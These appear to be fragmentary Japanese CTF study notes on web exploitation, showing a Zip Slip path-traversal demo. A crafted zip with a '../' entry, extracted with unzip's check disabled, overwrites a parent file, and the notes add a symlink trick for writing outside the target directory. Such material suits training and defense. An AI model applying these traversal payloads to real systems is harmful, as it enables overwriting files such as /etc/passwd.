Web
別名: Web ExploitationWebに関するジャンル大きく分けて2つのタイプがあるサーバーを攻撃する問題脆弱性のあるサーバーを攻撃し、サーバーの中にあるフラグを奪取する
../../../../etc/passwd
というファイルを含んだzipをそのまま解凍してしまうと、 /etc/passwd
が上書きされる$ pwd
/tmp/zipslip
$ ls -alR
.:
internal target.txt
./internal:
evil.zip
$ cat target.txt # 書き換えるファイル
WRITE ME
$ cd internal
$ zipinfo evil.zip # 細工したzipファイル
Archive: evil.zip
Zip file size: 182 bytes, number of entries: 1
-rw-r--r-- 3.0 unx 6 tx stor 22-Sep-30 11:47 ../target.txt
1 file, 6 bytes uncompressed, 6 bytes compressed: 0.0%
$ unzip -: evil.zip # zipslipのチェックを無効化するために-:オプションを加える
Archive: evil.zip
replace ../target.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: yes
extracting: ../target.txt
$ cat ../target.txt # 親ディレクトリのファイルが書き換えられている
PWNED
..
を含んでいるパスや絶対パスを弾く tarfile.extractall
extarct()
のようなAPIを提供していないライブラリ archive/tar
archive/zip
など root
-> /
というシンボリックリンクを先に作っておいて、 root/tmp/slip
に書き込むことで /tmp/slip
に書き込むことができる